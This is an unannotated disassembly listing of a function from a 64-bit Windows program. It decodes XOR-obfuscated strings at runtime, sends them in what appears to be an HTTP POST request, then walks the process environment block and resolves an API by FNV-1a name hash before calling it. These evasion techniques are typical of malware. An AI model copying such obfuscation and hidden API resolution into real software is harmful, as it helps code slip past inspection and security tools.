lea rcx, [rbp + 0x370]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x3a0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x3d0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x5e0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x400]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x430]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x460]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x220]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x118]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0xe8]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0xb8]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x88]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x148]
call fcn.1403b4d7c
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x888]
call fcn.1402e2670
nop
mov ecx, 3
call qword [0x1403f49f0]
call qword [str.Pq6_]
mov rbx, rax
test rax, rax
je 0x1402d9307
movups xmm0, xmmword [0x1403f4070]
movups xmmword [rbp + 0x60], xmm0
movsd xmm0, qword [0x1403f4080]
movsd qword [rbp + 0x70], xmm0
mov ecx, dword [0x1403f4088]
mov dword [rbp + 0x78], ecx
movzx ecx, word [0x1403f408c]
mov word [rbp + 0x7c], cx
movzx eax, byte [0x1403f408e]
mov byte [rbp + 0x7e], al
mov r8d, edi
cmp esi, 2
jl 0x1402d8bed
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm6, xmmword [0x1403f45e0]
movdqa xmm0, xmmword [0x1403f4660]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x64]
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1402d8ae0
cmp r8d, 0x1f
jge 0x1402d8c33
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1402d8c00
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [fcn.14036c2d0]
mov r10, rax
movups xmm0, xmmword [0x1403f3248]
movups xmmword [rbp + 0x860], xmm0
movsd xmm0, qword [0x1403f3258]
movsd qword [rbp + 0x870], xmm0
mov ecx, dword [0x1403f3260]
mov dword [rbp + 0x878], ecx
movzx ecx, word [0x1403f3264]
mov word [rbp + 0x87c], cx
cmp byte [0x1403f3265], 0
je 0x1402d8e13
mov r8d, edi
cmp esi, 2
jl 0x1402d8dcf
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm6, xmmword [0x1403f45e0]
movdqa xmm0, xmmword [0x1403f4660]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x864]
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1402d8cc2
cmp r8d, 0x1e
jge 0x1402d8e13
movsxd rax, r8d
lea r9, [rbp + 0x860]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1402d8de0
lea rdx, [rbp + 0x860]
mov rcx, r10
call qword [fcn.14036c2d0]
mov r10, rax
movups xmm0, xmmword [0x1403f3918]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x1403f3928]
movups xmmword [rbp + 0x70], xmm1
mov ecx, dword [0x1403f3938]
mov dword [rbp + 0x80], ecx
movzx ecx, word [0x1403f393c]
mov word [rbp + 0x84], cx
mov r8d, edi
cmp esi, 2
jl 0x1402d8f9d
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm6, xmmword [0x1403f45e0]
movdqa xmm0, xmmword [0x1403f4660]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x64]
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1402d8e90
cmp r8d, 0x26
jge 0x1402d8fe3
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x1402d8fb0
lea rdx, [rbp + 0x60]
mov rcx, r10
call qword [fcn.14036c2d0]
mov r14, rax
movups xmm0, xmmword [0x1403f3d40]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [0x1403f3d50]
movups xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [0x1403f3d60]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [0x1403f3d70]
movups xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [0x1403f3d80]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x1403f3d90]
movups xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [0x1403f3da0]
movups xmmword [rbp + 0x210], xmm0
cmp esi, 2
jl 0x1402d9195
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm6, xmmword [0x1403f45e0]
movdqa xmm0, xmmword [0x1403f4660]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x1b4]
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x70
jl 0x1402d9090
jmp 0x1402d91cf
lea r8, [rbp + 0x1b0]
nop dword [rax]
mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, dil
sub al, cl
add al, 0x30
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x70
jl 0x1402d91a0
lea r8, [rbp + 0x1b0]
mov edx, 0x2722
mov rcx, rbx
call qword [fcn.1403699f0]
mov r8, qword [0x140593278]
mov r8, qword [r8 + 8]
mov edx, 0x2712
mov rcx, rbx
call qword [fcn.1403699f0]
lea rcx, [rbp + 0x938]
call fcn.1402c7c50
mov r8, rax
mov edx, 0x271f
mov rcx, rbx
call qword [fcn.1403699f0]
mov r8, r14
mov edx, 0x2727
mov rcx, rbx
call qword [fcn.1403699f0]
mov rcx, rbx
call qword [fcn.140367210]
mov rcx, rbx
call qword [str.0q6_]
mov rdx, r15
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402e5220
mov rax, qword [0x140593278]
cmp byte [rax + 0x11], 0
je 0x1402d925e
call fcn.1402d58c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1402d92e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1402d92e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xb420a29
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1402d92e1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1402d92c0
cmp r8d, 0x493a4609
je 0x1402d92eb
test r9d, r9d
jne 0x1402d92a0
mov rax, qword [rax]
jmp 0x1402d9270
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
lea rcx, [rbp + 0x938]
call fcn.1402c7c60
nop
movzx edx, byte [rbp + 0x888]
lea rcx, [rbp + 0x890]
call fcn.1402e3720
nop
lea rcx, [rbp + 0x918]
call fcn.1402c7c60
nop
lea rcx, [rbp + 0x978]
call fcn.1402c7c60
nop
lea rcx, [rbp + 0x8d8]
call fcn.1402c7c60
nop
lea rcx, [rbp + 0x958]
call fcn.1402c7c60
nop
lea rcx, [rbp + 0x8f8]
call fcn.1402c7c60
nop
mov rdx, qword [rbp + 0x8b0]
cmp rdx, 0xf
jbe 0x1402d93ad
inc rdx
mov rcx, qword [rbp + 0x898]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1402d93a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1402d93a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403b4e4c
movdqa xmm0, xmmword [0x1403f4560]
movdqu xmmword [rbp + 0x8a8], xmm0
mov byte [rbp + 0x898], 0
mov rdx, qword [rbp + 0x8d0]
cmp rdx, 0xf
jbe 0x1402d9408
inc rdx
mov rcx, qword [rbp + 0x8b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1402d9403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1402d9403
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403b4e4c
movdqa xmm0, xmmword [0x1403f4560]
movdqu xmmword [rbp + 0x8c8], xmm0
mov byte [rbp + 0x8b8], 0
mov rcx, r15
call fcn.1402c7c60
mov rcx, qword [rbp + 0x998]
xor rcx, rsp
call fcn.1403b5820
lea r11, [rsp + 0xab0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret